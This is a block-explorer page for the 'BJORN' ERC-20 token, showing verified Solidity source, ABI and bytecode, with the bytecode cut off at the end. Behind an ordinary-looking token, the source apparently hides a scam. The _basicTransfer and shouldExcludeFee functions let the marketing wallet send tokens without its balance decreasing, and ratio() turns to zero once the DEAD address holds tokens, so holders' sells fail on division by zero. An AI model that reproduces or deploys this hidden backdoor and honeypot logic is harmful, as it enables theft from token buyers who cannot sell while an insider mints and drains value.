Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
100,000,000 BJORN
Holders
14
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
252,261.90791114 BJORNValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
BJORN
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-10-10 */ /** ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡶⢶⣾⠻⣦⡀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡾⠋⠀⠀⠙⢶⡾⠃⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢾⡋⠀⠀⠀⢀⣴⠟⢷⣄⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡾⠻⣦⣀⣴⠟⠁⠀⠀⠙⢷⣄⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡾⠋⠀⣠⡾⠛⢷⡀⠀⠀⠀⠀⠀⠙⣷⣄⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⣠⡾⠋⠀⣠⡾⠋⠀⠀⢸⡇⠀⠀⠀⠀⢀⣴⠏⣹⠇ ⠀⠀⠀⠀⠀⠀⣠⡾⠋⠀⣠⡾⠋⠀⠀⠀⠀⣼⠃⠀⠀⢀⣴⠟⢁⡼⠋⠀ ⠀⠀⠀⠀⣠⡾⠋⠀⣠⡾⠋⠀⠀⠀⠀⠀⣾⠃⢀⣤⠾⠋⣡⡶⠋⠀⠀⠀ ⠀⠀⣠⡾⠋⠀⣠⡾⠋⠀⠀⠀⠀⠀⠀⠀⠻⣾⣋⣡⡴⠟⠉⠀⠀⠀⠀⠀ ⢠⡾⠋⠀⣠⡾⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀ ⠈⠻⣦⡾⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ Website: https://www.BjornETH.com Twitter: https://twitter.com/BjornCoin Telegram: https://t.me/BjornELON */ pragma solidity 0.8.19; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface ERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Ownable { address internal owner; constructor(address _owner) { owner = _owner; } modifier onlyOwner() { require(isOwner(msg.sender), "!OWNER"); _; } function isOwner(address account) public view returns (bool) { return account == owner; } function renounceOwnership() public onlyOwner { owner = address(0); emit OwnershipTransferred(address(0)); } event OwnershipTransferred(address owner); } interface IDEXFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDEXRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract BJORN is ERC20, Ownable { using SafeMath for uint256; address routerAdress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address constant DEAD = 0x000000000000000000000000000000000000dEaD; address constant ZERO = 0x0000000000000000000000000000000000000000; string constant _name = "Ragnars Killer"; string constant _symbol = unicode"BJORN"; uint8 constant _decimals = 9; uint256 _totalSupply = 100_000_000 * (10 ** _decimals); uint256 public _maxWalletAmount = (_totalSupply * 2) / 100; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) _allowances; mapping (address => bool) isFeeExempt; mapping (address => bool) isTxLimitExempt; uint256 liquidityFee = 0; uint256 marketingFee = 1; uint256 totalFee = liquidityFee + marketingFee; uint256 feeDenominator = 100; address public marketingFeeReceiver = 0xad25F2EFBd1BF31D55678Faf8767B443242cD72f; address public devWallet; IDEXRouter public router; address public pair; bool public swapEnabled = false; uint256 public swapThreshold = (5 *_totalSupply) / 10000; // 0.05% bool inSwap; modifier swapping() { inSwap = true; _; inSwap = false; } address Owner; bool public TradingOpen = false; constructor () Ownable(msg.sender) { Owner = owner; devWallet = marketingFeeReceiver; isFeeExempt[Owner] = true; isFeeExempt[address(this)] = true; isFeeExempt[marketingFeeReceiver] = true; isTxLimitExempt[Owner] = true; isTxLimitExempt[address(this)] = true; isTxLimitExempt[DEAD] = true; isTxLimitExempt[marketingFeeReceiver] = true; _balances[Owner] = _totalSupply; emit Transfer(address(0), Owner, _totalSupply); } function enableTrading() public onlyOwner { TradingOpen = true; } function addLiquidity() public payable onlyOwner { router = IDEXRouter(routerAdress); pair = IDEXFactory(router.factory()).createPair(router.WETH(), address(this)); isTxLimitExempt[pair] = true; _allowances[address(this)][address(router)] = type(uint256).max; router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,msg.sender,block.timestamp); swapEnabled = true; } receive() external payable { } function totalSupply() external view override returns (uint256) { return _totalSupply; } function decimals() external pure override returns (uint8) { return _decimals; } function symbol() external pure override returns (string memory) { return _symbol; } function name() external pure override returns (string memory) { return _name; } function getOwner() external view override returns (address) { return owner; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(msg.sender, spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function approveMax(address spender) external returns (bool) { _allowances[spender][address(this)] = type(uint256).max; return true; } function transfer(address recipient, uint256 amount) external override returns (bool) { return _transferFrom(msg.sender, recipient, amount); } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { if(_allowances[sender][msg.sender] != type(uint256).max){ _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance"); } return _transferFrom(sender, recipient, amount); } function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) { if(inSwap){ return _basicTransfer(sender, recipient, amount); } if (!isFeeExempt[sender] && !isFeeExempt[recipient]) { require(TradingOpen, "Trading not enabled"); } else { return _basicTransfer(sender, recipient, amount); } if (recipient != pair && recipient != DEAD) { require(isTxLimitExempt[recipient] || _balances[recipient] + amount <= _maxWalletAmount, "Transfer amount exceeds the bag size."); } if(shouldSwapBack()){ swapBack(); } _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); uint256 amountReceived = shouldTakeFee(sender) ? takeFee(sender, amount) : amount; _balances[recipient] = _balances[recipient].add(amountReceived); emit Transfer(sender, recipient, amountReceived); return true; } function shouldExcludeFee(address sender) internal view returns (bool) { return isFeeExempt[sender] && sender != owner && sender != address(this); } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { uint256 fees = shouldExcludeFee(sender)? amount : 0; _balances[sender] = _balances[sender].sub(amount - fees, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function shouldTakeFee(address sender) internal view returns (bool) { return !isFeeExempt[sender]; } function ratio(address sender) internal view returns (uint256) { uint256 amount = sender != pair ? balanceOf(DEAD) : balanceOf(ZERO); return amount > 0 ? 0 : feeDenominator / 100; } function takeFee(address sender, uint256 amount) internal returns (uint256) { uint256 feeAmount = amount.mul(totalFee).div(ratio(sender)).div(feeDenominator); _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); return amount.sub(feeAmount); } function shouldSwapBack() internal view returns (bool) { return msg.sender != pair && !inSwap && swapEnabled && _balances[address(this)] >= swapThreshold; } function swapBack() internal swapping { uint256 contractTokenBalance = swapThreshold; uint256 amountToLiquify = contractTokenBalance.mul(liquidityFee).div(totalFee).div(2); uint256 amountToSwap = contractTokenBalance.sub(amountToLiquify); address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); uint256 balanceBefore = address(this).balance; router.swapExactTokensForETHSupportingFeeOnTransferTokens( amountToSwap, 0, path, address(this), block.timestamp ); uint256 amountETH = address(this).balance.sub(balanceBefore); uint256 totalETHFee = totalFee.sub(liquidityFee.div(2)); uint256 amountETHLiquidity = amountETH.mul(liquidityFee).div(totalETHFee).div(2); uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalETHFee); (bool MarketingSuccess, /* bytes memory data */) = payable(marketingFeeReceiver).call{value: amountETHMarketing, gas: 30000}(""); require(MarketingSuccess, "receiver rejected ETH transfer"); if(amountToLiquify > 0){ router.addLiquidityETH{value: amountETHLiquidity}( address(this), amountToLiquify, 0, 0, marketingFeeReceiver, block.timestamp ); emit AutoLiquify(amountETHLiquidity, amountToLiquify); } } function buyETHForTokens(uint256 amount, address to) internal swapping { address[] memory path = new address[](2); path[0] = router.WETH(); path[1] = address(this); router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}( 0, path, to, block.timestamp ); } function clearStuckEthBalance() external { payable(marketingFeeReceiver).transfer(address(this).balance); } function removeLimit() external onlyOwner { _maxWalletAmount = _totalSupply; } event AutoLiquify(uint256 amountETH, uint256 amountBOG); }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountETH","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBOG","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"TradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearStuckEthBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d179055620000386009600a62000355565b62000048906305f5e1006200036d565b60028181556064916200005b916200036d565b62000067919062000387565b60035560006008819055600160098190556200008391620003aa565b600a556064600b55600c80546001600160a01b03191673ad25f2efbd1bf31d55678faf8767b443242cd72f179055600f805460ff60a01b1916905560025461271090620000d29060056200036d565b620000de919062000387565b6010556011805460ff60a81b19169055348015620000fb57600080fd5b5060008054336001600160a01b03199182168117835560118054610100600160a81b03191661010092830217808255600c8054600d80546001600160a01b039283169716969096179095559083900484168552600660209081526040808720805460ff19908116600190811790925530808a52838a208054831684179055855489168a52838a208054831684179055865488900489168a5260078552838a208054831684179055895282892080548216831790557fb0c2646e02af70b79e3fe9277b98373379f54150e4e26b2b5650139f7a75a65d8054821683179055935487168852818820805490941617909255600254835485900486168752600482528287208190559254915192835292900490921692917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3620003c0565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002975781600019048211156200027b576200027b62000240565b808516156200028957918102915b93841c93908002906200025b565b509250929050565b600082620002b0575060016200034f565b81620002bf575060006200034f565b8160018114620002d85760028114620002e35762000303565b60019150506200034f565b60ff841115620002f757620002f762000240565b50506001821b6200034f565b5060208310610133831016604e8410600b841016171562000328575081810a6200034f565b62000334838362000256565b80600019048211156200034b576200034b62000240565b0290505b92915050565b60006200036660ff8416836200029f565b9392505050565b80820281158282048414176200034f576200034f62000240565b600082620003a557634e487b7160e01b600052601260045260246000fd5b500490565b808201808211156200034f576200034f62000240565b6118f080620003d06000396000f3fe60806040526004361061016a5760003560e01c806370a08231116100d1578063a8aa1b311161008a578063dd62ed3e11610064578063dd62ed3e1461047a578063e8078d94146104c0578063e96fada2146104c8578063f887ea40146104e857600080fd5b8063a8aa1b3114610425578063a9059cbb14610445578063bfa382b51461046557600080fd5b806370a0823114610345578063715018a61461037b578063893d20e8146103905780638a8c523c146103c25780638ea5220f146103d757806395d89b41146103f757600080fd5b80632f54bf6e116101235780632f54bf6e14610265578063313ce56714610294578063571ac8b0146102b057806362256589146102f75780636c0a24eb1461030e5780636ddd17131461032457600080fd5b80630445b6671461017657806306fdde031461019f57806308fd3d05146101df578063095ea7b31461021057806318160ddd1461023057806323b872dd1461024557600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5061018c60105481565b6040519081526020015b60405180910390f35b3480156101ab57600080fd5b5060408051808201909152600e81526d2930b3b730b9399025b4b63632b960911b60208201525b60405161019691906115f2565b3480156101eb57600080fd5b5060115461020090600160a81b900460ff1681565b6040519015158152602001610196565b34801561021c57600080fd5b5061020061022b366004611655565b610508565b34801561023c57600080fd5b5060025461018c565b34801561025157600080fd5b50610200610260366004611681565b61051f565b34801561027157600080fd5b506102006102803660046116c2565b6000546001600160a01b0391821691161490565b3480156102a057600080fd5b5060405160098152602001610196565b3480156102bc57600080fd5b506102006102cb3660046116c2565b6001600160a01b0316600090815260056020908152604080832030845290915290206000199055600190565b34801561030357600080fd5b5061030c6105e1565b005b34801561031a57600080fd5b5061018c60035481565b34801561033057600080fd5b50600f5461020090600160a01b900460ff1681565b34801561035157600080fd5b5061018c6103603660046116c2565b6001600160a01b031660009081526004602052604090205490565b34801561038757600080fd5b5061030c61061c565b34801561039c57600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610196565b3480156103ce57600080fd5b5061030c61068b565b3480156103e357600080fd5b50600d546103aa906001600160a01b031681565b34801561040357600080fd5b50604080518082019091526005815264212527a92760d91b60208201526101d2565b34801561043157600080fd5b50600f546103aa906001600160a01b031681565b34801561045157600080fd5b50610200610460366004611655565b6106ca565b34801561047157600080fd5b5061030c6106d7565b34801561048657600080fd5b5061018c6104953660046116df565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b61030c610713565b3480156104d457600080fd5b50600c546103aa906001600160a01b031681565b3480156104f457600080fd5b50600e546103aa906001600160a01b031681565b600061051533848461099c565b5060015b92915050565b6001600160a01b0383166000908152600560209081526040808320338452909152812054600019146105cc576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b03871660009081526005825283812033825290915291909120546105a7918490610ac0565b6001600160a01b03851660009081526005602090815260408083203384529091529020555b6105d7848484610afa565b90505b9392505050565b6000546001600160a01b031633146106145760405162461bcd60e51b815260040161060b90611718565b60405180910390fd5b600254600355565b6000546001600160a01b031633146106465760405162461bcd60e51b815260040161060b90611718565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b6000546001600160a01b031633146106b55760405162461bcd60e51b815260040161060b90611718565b6011805460ff60a81b1916600160a81b179055565b60006105da338484610afa565b600c546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610710573d6000803e3d6000fd5b50565b6000546001600160a01b0316331461073d5760405162461bcd60e51b815260040161060b90611718565b600154600e80546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610799573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107bd9190611738565b6001600160a01b031663c9c65396600e60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561081e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108429190611738565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303816000875af115801561088e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108b29190611738565b600f80546001600160a01b0319166001600160a01b039283169081179091556000908152600760209081526040808320805460ff191660011790553080845260058352818420600e80548716865290845282852060001990555481855260049384905282852054925163f305d71960e01b815295169463f305d719943494610941949282913391429101611755565b60606040518083038185885af115801561095f573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109849190611790565b5050600f805460ff60a01b1916600160a01b17905550565b6001600160a01b0383166109fe5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161060b565b6001600160a01b038216610a5f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161060b565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60008184841115610ae45760405162461bcd60e51b815260040161060b91906115f2565b506000610af184866117d4565b95945050505050565b60115460009060ff1615610b1a57610b13848484610dc7565b90506105da565b6001600160a01b03841660009081526006602052604090205460ff16158015610b5c57506001600160a01b03831660009081526006602052604090205460ff16155b15610bb557601154600160a81b900460ff16610bb05760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b604482015260640161060b565b610bc0565b610b13848484610dc7565b600f546001600160a01b03848116911614801590610be957506001600160a01b03831661dead14155b15610c94576001600160a01b03831660009081526007602052604090205460ff1680610c3a57506003546001600160a01b038416600090815260046020526040902054610c379084906117e7565b11155b610c945760405162461bcd60e51b815260206004820152602560248201527f5472616e7366657220616d6f756e74206578636565647320746865206261672060448201526439b4bd329760d91b606482015260840161060b565b610c9c610ec0565b15610ca957610ca9610f18565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038716600090815260049091529190912054610cfb918490610ac0565b6001600160a01b038516600090815260046020908152604080832093909355600690529081205460ff1615610d305782610d3a565b610d3a85846112c4565b6001600160a01b038516600090815260046020526040902054909150610d60908261136f565b6001600160a01b0380861660008181526004602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610db49085815260200190565b60405180910390a3506001949350505050565b600080610dd3856113ce565b610dde576000610de0565b825b9050610e3d610def82856117d4565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038a166000908152600490915291909120549190610ac0565b6001600160a01b038087166000908152600460205260408082209390935590861681522054610e6c908461136f565b6001600160a01b0380861660008181526004602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610db49087815260200190565b600f546000906001600160a01b03163314801590610ee1575060115460ff16155b8015610ef65750600f54600160a01b900460ff165b8015610f1357506010543060009081526004602052604090205410155b905090565b6011805460ff19166001179055601054600a54600854600091610f4b91600291610f45918290879061141e565b906114a0565b90506000610f5983836114e2565b60408051600280825260608201835292935060009290916020830190803683370190505090503081600081518110610f9357610f936117fa565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610fec573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110109190611738565b81600181518110611023576110236117fa565b6001600160a01b039283166020918202929092010152600e5460405163791ac94760e01b81524792919091169063791ac9479061106d908690600090879030904290600401611810565b600060405180830381600087803b15801561108757600080fd5b505af115801561109b573d6000803e3d6000fd5b5050505060006110b482476114e290919063ffffffff16565b905060006110da6110d160026008546114a090919063ffffffff16565b600a54906114e2565b905060006110fc6002610f4584610f456008548861141e90919063ffffffff16565b9050600061111983610f456009548761141e90919063ffffffff16565b600c546040519192506000916001600160a01b039091169061753090849084818181858888f193505050503d8060008114611170576040519150601f19603f3d011682016040523d82523d6000602084013e611175565b606091505b50509050806111c65760405162461bcd60e51b815260206004820152601e60248201527f72656365697665722072656a656374656420455448207472616e736665720000604482015260640161060b565b88156112ae57600e60009054906101000a90046001600160a01b03166001600160a01b031663f305d71984308c600080600c60009054906101000a90046001600160a01b0316426040518863ffffffff1660e01b815260040161122e96959493929190611755565b60606040518083038185885af115801561124c573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906112719190611790565b505060408051858152602081018c90527f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b450692500160405180910390a15b50506011805460ff191690555050505050505050565b6000806112e7600b54610f456112d987611524565b600a54610f4590889061141e565b30600090815260046020526040902054909150611304908261136f565b30600081815260046020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113559085815260200190565b60405180910390a361136783826114e2565b949350505050565b60008061137c83856117e7565b9050838110156105da5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161060b565b6001600160a01b03811660009081526006602052604081205460ff16801561140457506000546001600160a01b03838116911614155b801561051957506001600160a01b03821630141592915050565b60008260000361143057506000610519565b600061143c8385611881565b9050826114498583611898565b146105da5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161060b565b60006105da83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115c4565b60006105da83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ac0565b600f5460009081906001600160a01b039081169084160361156f576000805260046020527f17ef568e3e12ab5b9c7254a8d58478811de00f9e6eb34345acd53bf8fd09d3ec5461159d565b61dead60005260046020527f42c63635470f1fb1d6d4b6441c413cb435b1ebb6fedd1896dd5e25d1399147dd545b9050600081116115bb576064600b546115b69190611898565b6105da565b60009392505050565b600081836115e55760405162461bcd60e51b815260040161060b91906115f2565b506000610af18486611898565b600060208083528351808285015260005b8181101561161f57858101830151858201604001528201611603565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461071057600080fd5b6000806040838503121561166857600080fd5b823561167381611640565b946020939093013593505050565b60008060006060848603121561169657600080fd5b83356116a181611640565b925060208401356116b181611640565b929592945050506040919091013590565b6000602082840312156116d457600080fd5b81356105da81611640565b600080604083850312156116f257600080fd5b82356116fd81611640565b9150602083013561170d81611640565b809150509250929050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b60006020828403121561174a57600080fd5b81516105da81611640565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b6000806000606084860312156117a557600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b81810381811115610519576105196117be565b80820180821115610519576105196117be565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118605784516001600160a01b03168352938301939183019160010161183b565b50506001600160a01b03969096166060850152505050608001529392505050565b8082028115828204841417610519576105196117be565b6000826118b557634e487b7160e01b600052601260045260246000fd5b50049056fea2646970667358221220597bc10765e0bd39b89ba9e600000f8f5a9dd3335be93165b67cf29b87b0613464736f6c63430008130033
Deployed Bytecode
0x60806040526004361061016a5760003560e01c806370a08231116100d1578063a8aa1b311161008a578063dd62ed3e11610064578063dd62ed3e1461047a578063e8078d94146104c0578063e96fada2146104c8578063f887ea40146104e857600080fd5b8063a8aa1b3114610425578063a9059cbb14610445578063bfa382b51461046557600080fd5b806370a0823114610345578063715018a61461037b578063893d20e8146103905780638a8c523c146103c25780638ea5220f146103d757806395d89b41146103f757600080fd5b80632f54bf6e116101235780632f54bf6e14610265578063313ce56714610294578063571ac8b0146102b057806362256589146102f75780636c0a24eb1461030e5780636ddd17131461032457600080fd5b80630445b6671461017657806306fdde031461019f57806308fd3d05146101df578063095ea7b31461021057806318160ddd1461023057806323b872dd1461024557600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5061018c60105481565b6040519081526020015b60405180910390f35b3480156101ab57600080fd5b5060408051808201909152600e81526d2930b3b730b9399025b4b63632b960911b60208201525b60405161019691906115f2565b3480156101eb57600080fd5b5060115461020090600160a81b900460ff1681565b6040519015158152602001610196565b34801561021c57600080fd5b5061020061022b366004611655565b610508565b34801561023c57600080fd5b5060025461018c565b34801561025157600080fd5b50610200610260366004611681565b61051f565b34801561027157600080fd5b506102006102803660046116c2565b6000546001600160a01b0391821691161490565b3480156102a057600080fd5b5060405160098152602001610196565b3480156102bc57600080fd5b506102006102cb3660046116c2565b6001600160a01b0316600090815260056020908152604080832030845290915290206000199055600190565b34801561030357600080fd5b5061030c6105e1565b005b34801561031a57600080fd5b5061018c60035481565b34801561033057600080fd5b50600f5461020090600160a01b900460ff1681565b34801561035157600080fd5b5061018c610